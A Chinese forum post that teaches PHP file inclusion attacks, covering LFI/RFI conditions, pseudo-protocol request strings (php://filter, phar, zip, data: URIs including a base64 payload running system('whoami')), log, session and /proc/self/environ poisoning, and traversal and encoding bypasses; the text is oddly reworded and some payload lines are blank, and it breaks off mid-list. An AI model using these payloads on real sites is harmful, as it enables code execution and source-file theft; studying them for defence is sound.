wloe2gf 发表于 2024-10-4 15:38:20

php文件包含漏洞


    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">基本</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">关联</span>函数</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">php中<span style="color: black;">诱发</span>文件<span style="color: black;">包括</span>漏洞的<span style="color: black;">一般</span>是以下四个函数:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">1.</span><span style="color: black;">include()</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2.</span><span style="color: black;">include_once()</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">3.</span><span style="color: black;">require()</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">4.</span><span style="color: black;">require_once()</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">reuqire() <span style="color: black;">倘若</span>在<span style="color: black;">包括</span>的过程中有错,<span style="color: black;">例如</span>文件不存在等,则会直接退出,不执行后续语句。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">include() <span style="color: black;">倘若</span>出错的话,只会提出警告,会继续执行后续语句。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">require_once() 和 include_once() 功能与require() 和 include() 类似。但<span style="color: black;">倘若</span>一个文件<span style="color: black;">已然</span>被<span style="color: black;">包括</span>过了,则 require_once() 和 include_once() 则不会再<span style="color: black;">包括</span>它,以避免函数重定义或变量重赋值等问题。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">当利用这四个函数来<span style="color: black;">包括</span>文件时,不管文件是什么类型(<span style="color: black;">照片</span>、txt等等),都会直接<span style="color: black;">做为</span>php文件进行解析。测试代码:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">在同目录下有个phpinfo.txt,其内容为</span><span style="color: black;">。则只需要<span style="color: black;">拜访</span>:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=phpinfo.txt</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">就可</span>成功解析phpinfo。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">场景</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">1.</span><span style="color: black;"><span style="color: black;">拥有</span><span style="color: black;">关联</span>的文件<span style="color: black;">包括</span>函数。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2.</span><span style="color: black;">文件<span style="color: black;">包括</span>函数中存在动态变量,<span style="color: black;">例如</span></span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">include $file;</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">3.</span><span style="color: black;">攻击者能够<span style="color: black;">掌控</span>该变量,<span style="color: black;">例如</span></span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">$file = $_GET;</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">归类</span></span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">LFI(Local File Inclusion)</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">本地文件<span style="color: black;">包括</span>漏洞,顾名思义,指的是能打开并<span style="color: black;">包括</span>本地文件的漏洞。大部分<span style="color: black;">状况</span>下遇到的文件<span style="color: black;">包括</span>漏洞都是LFI。简单的测试用例如前所示。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">RFI(Remote File Inclusion)</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">远程文件<span style="color: black;">包括</span>漏洞。<span style="color: black;">指的是</span>能够<span style="color: black;">包括</span>远程服务器上的文件并执行。<span style="color: black;">因为</span>远程服务器的文件是<span style="color: black;">咱们</span>可控的,<span style="color: black;">因此呢</span>漏洞一旦存在<span style="color: black;">害处</span>性会很大。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">但RFI的利用<span style="color: black;">要求</span>较为苛刻,需要php.ini中进行配置</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">allow_url_fopen = On</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">allow_url_include = On</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">两个配置选项均需要为On,<span style="color: black;">才可</span>远程<span style="color: black;">包括</span>文件成功。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">在php.ini中,allow_url_fopen默认<span style="color: black;">始终</span>是On,而allow_url_include从php5.2之后就默认为Off。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">包括</span>姿势</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">下面例子中测试代码均为:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">allow_url_fopen 默认为 On</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">allow_url_include 默认为 Off</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">若有特殊<span style="color: black;">需求</span>,会在利用<span style="color: black;">要求</span>里指出。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">php伪协议</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">php://input</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">allow_url_include = On。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">对al</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">low_url_fopen不做<span style="color: black;">需求</span>。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=php://inputPOST:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">php://filter</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:无甚</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=php://filter/read=convert.base64-encode/resource=index.php</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">经过</span>指定末尾的文件,<span style="color: black;">能够</span>读取经base64加密后的文件源码,之后再base64解码一下就行。虽然<span style="color: black;">不可</span>直接获取到shell等,但能读取<span style="color: black;">敏锐</span>文件<span style="color: black;">害处</span><span style="color: black;">亦</span>是挺大的。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">&gt;&gt;&gt; import base64&gt;&gt;&gt; base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")b""</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">其他姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=php://filter/convert.base64-encode/resource=index.php</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">效果跟前面<span style="color: black;">同样</span>,少了read等关键字。在绕过<span style="color: black;">有些</span>waf时<span style="color: black;">亦</span>许有用。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">phar://</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">1.</span><span style="color: black;">php版本大于等于php5.3.0</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">假设有个文件phpinfo.txt,其内容为</span><span style="color: black;">,打包成zip压缩包,如下:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">指定绝对路径</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">或</span><span style="color: black;">运用</span>相对路径(<span style="color: black;">这儿</span>test.zip就在当前目录下)</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=phar://test.zip/phpinfo.txt</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">zip://</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">1.</span><span style="color: black;">php版本大于等于php5.3.0</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">构造zip包的<span style="color: black;">办法</span>同phar。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">但<span style="color: black;">运用</span>zip协议,需要指定绝对路径,<span style="color: black;">同期</span>将</span><span style="color: black;">#</span><span style="color: black;">编码为</span><span style="color: black;">%23</span><span style="color: black;">,之后填上压缩包内的文件。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">若是使用相对路径,则会<span style="color: black;">包括</span>失败。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">data:URI schema</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">1.</span><span style="color: black;">php版本大于等于php5.2</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2.</span><span style="color: black;">allow_url_fopen = On</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">3.</span><span style="color: black;">allow_url_include = On</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势一:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=data:text/plain,</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">执行命令:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=data:text/plain,</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势二:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">加号</span><span style="color: black;">+</span><span style="color: black;">的url编码为</span><span style="color: black;">%2b</span><span style="color: black;">,</span><span style="color: black;">PD9waHAgcGhwaW5mbygpOz8+</span><span style="color: black;">的base64解码为:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">执行命令:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">其中</span><span style="color: black;">PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==</span><span style="color: black;">的base64解码为:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">包括</span>session</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:session文件路径已知,且其中内容部分可控。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">php的session文件的<span style="color: black;">保留</span>路径<span style="color: black;">能够</span>在phpinfo的session.save_path看到。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">平常</span>的php-session存放位置:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">1.</span><span style="color: black;">/var/lib/php/sess_PHPSESSID</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2.</span><span style="color: black;">/var/lib/php/sess_PHPSESSID</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">3.</span><span style="color: black;">/tmp/sess_PHPSESSID</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">4.</span><span style="color: black;">/tmp/sessions/sess_PHPSESSID</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">session的文件名格式为sess_。而phpsessid在发送的请求的cookie字段中<span style="color: black;">能够</span>看到。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">要<span style="color: black;">包括</span>并利用的话,需要能<span style="color: black;">掌控</span>部分sesssion文件的内容。暂时<span style="color: black;">无</span>通用的办法。有些时候,<span style="color: black;">能够</span>先<span style="color: black;">包括</span>进session文件,观察里面的内容,<span style="color: black;">而后</span><span style="color: black;">按照</span>里面的字段来<span style="color: black;">发掘</span>可控的变量,从而利用变量来写入payload,并之后再次<span style="color: black;">包括</span>从而执行php代码。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">例如</span>这篇<span style="color: black;">文案</span>:</span><span style="color: black;">透過 LFI 引入 PHP session 檔案觸發 RCE</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">包括</span>日志</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">拜访</span>日志</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:需要<span style="color: black;">晓得</span>服务器日志的存储路径,且日志文件可读。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">非常多</span>时候,web服务器会将请求写入到日志文件中,<span style="color: black;">例如</span>说apache。在用户发起请求时,会将请求写入access.log,当<span style="color: black;">出现</span>错误时将错误写入error.log。默认<span style="color: black;">状况</span>下,日志<span style="color: black;">保留</span>路径在 /var/log/apache2/。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">但<span style="color: black;">倘若</span>是直接发起请求,会<span style="color: black;">引起</span><span style="color: black;">有些</span>符号被编码使得<span style="color: black;">包括</span><span style="color: black;">没法</span>正确解析。<span style="color: black;">能够</span><span style="color: black;">运用</span>burp截包后修改。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">正常的php代码<span style="color: black;">已然</span>写入了 /var/log/apache2/access.log。<span style="color: black;">而后</span>进行<span style="color: black;">包括</span><span style="color: black;">就可</span>。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">在<span style="color: black;">有些</span>场景中,log的<span style="color: black;">位置</span>是被修改掉的。你<span style="color: black;">能够</span><span style="color: black;">经过</span>读取相应的配置文件后,再进行<span style="color: black;">包括</span>。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">这儿</span><span style="color: black;">供给</span>一道<span style="color: black;">包括</span>日志的CTF题目:</span><span style="color: black;">SHACTF-2017- Bon Appétit (100)-writeup</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">SSH log</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:需要<span style="color: black;">晓得</span>ssh-log的位置,且可读。默认<span style="color: black;">状况</span>下为 /var/log/auth.log</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">用ssh连接:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">ubuntu@VM-207-93-ubuntu:~$ ssh @remotehost</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">之后会提示输入<span style="color: black;">秘码</span>等等,随便输入。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">而后</span>在remotehost的ssh-log中<span style="color: black;">就可</span>写入php代码:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">之后进行文件<span style="color: black;">包括</span><span style="color: black;">就可</span>。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">参考:</span><span style="color: black;">RCE with LFI and SSH Log Poisoning</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">包括</span>environ</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">1.</span><span style="color: black;">php以cgi方式运行,<span style="color: black;">这般</span>environ才会保持UA头。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2.</span><span style="color: black;">environ文件存储位置已知,且environ文件可读。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">proc/self/environ中会<span style="color: black;">保留</span>user-agent头。<span style="color: black;">倘若</span>在user-agent中<span style="color: black;">插进</span>php代码,则php代码会被写入到environ中。之后再<span style="color: black;">包括</span>它,<span style="color: black;">就可</span>。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">能够</span>参考这个:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">1.</span><span style="color: black;">The proc/self/environ Injection</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2.</span><span style="color: black;">shell via LFI - proc/self/environ method</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">包括</span>fd</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">跟<span style="color: black;">包括</span>environ类似。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">参考:&nbsp;</span><span style="color: black;">LFI Cheat Sheet:/proc/self/environ LFI Method</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">包括</span>临时文件</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">php中上传文件,会创建临时文件。在linux下<span style="color: black;">运用</span>/tmp目录,而在windows下<span style="color: black;">运用</span>c:\winsdows\temp目录。在临时文件被删除之前,利用竞争<span style="color: black;">就可</span><span style="color: black;">包括</span>该临时文件。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">因为</span><span style="color: black;">包括</span>需要<span style="color: black;">晓得</span><span style="color: black;">包括</span>的文件名。一种<span style="color: black;">办法</span>是进行暴力猜解,linux下<span style="color: black;">运用</span>的随机函数有缺陷,而window下<span style="color: black;">仅有</span>65535中<span style="color: black;">区别</span>的文件名,<span style="color: black;">因此</span>这个<span style="color: black;">办法</span>是可行的。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">另一种<span style="color: black;">办法</span>是<span style="color: black;">协同</span>phpinfo页面的php variables,<span style="color: black;">能够</span>直接获取到上传文件的存储路径和临时文件名,直接<span style="color: black;">包括</span><span style="color: black;">就可</span>。这个<span style="color: black;">办法</span><span style="color: black;">能够</span>参考</span><span style="color: black;">LFI With PHPInfo Assistance</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">类似利用临时文件的存在,竞争时间去<span style="color: black;">包括</span>的,<span style="color: black;">能够</span><span style="color: black;">瞧瞧</span>这道CTF题:</span><span style="color: black;">XMAN夏令营-2017-babyweb-writeup</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">包括</span>上传文件</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:千变万化,<span style="color: black;">不外</span><span style="color: black;">最少</span>得<span style="color: black;">晓得</span>上传的文件在哪,叫啥名字。。。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">常常</span>要<span style="color: black;">协同</span>上传的姿势,不说了,太多了。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">其余</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">一个web服务<span style="color: black;">常常</span>会用到多个其他服务,<span style="color: black;">例如</span>ftp服务,数据库等等。这些应用<span style="color: black;">亦</span>会产生相应的文件,但这就需要<span style="color: black;">详细</span><span style="color: black;">状况</span><span style="color: black;">详细</span>分析咯。<span style="color: black;">这儿</span>就不展开了。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">绕过姿势</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">接下来聊聊绕过姿势。平常碰到的<span style="color: black;">状况</span>肯定不会是简简单单的</span><span style="color: black;">include $_GET;</span><span style="color: black;"><span style="color: black;">这般</span>直接把变量传入<span style="color: black;">包括</span>函数的。在<span style="color: black;">非常多</span>时候<span style="color: black;">包括</span>的变量/文件不是完全可控的,<span style="color: black;">例如</span>下面这段代码指定了前缀和后缀:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">这般</span>就很“难”直接去<span style="color: black;">包括</span>前面<span style="color: black;">说到</span>的种种文件。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">指定前缀</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">先<span style="color: black;">思虑</span>一下指定了前缀的<span style="color: black;">状况</span>吧。测试代码:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">目录遍历</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">这个最简单了,简要的提一下。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">此刻</span>在/var/log/test.txt文件中有php代码</span><span style="color: black;">,则利用</span><span style="color: black;">../</span><span style="color: black;"><span style="color: black;">能够</span>进行目录遍历,<span style="color: black;">例如</span><span style="color: black;">咱们</span>尝试<span style="color: black;">拜访</span>:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">include.php?file=../../log/test.txt</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">则服务器端<span style="color: black;">实质</span>拼接出来的路径为:/var/www/html/../../log/test.txt,<span style="color: black;">亦</span>即/var/log/test.txt。从而<span style="color: black;">包括</span>成功。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">编码绕过</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">服务器端常常会<span style="color: black;">针对</span></span><span style="color: black;">../</span><span style="color: black;">等做<span style="color: black;">有些</span>过滤,<span style="color: black;">能够</span>用<span style="color: black;">有些</span>编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">l</span><span style="color: black;">利用url编码</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">n</span><span style="color: black;">../</span></p>
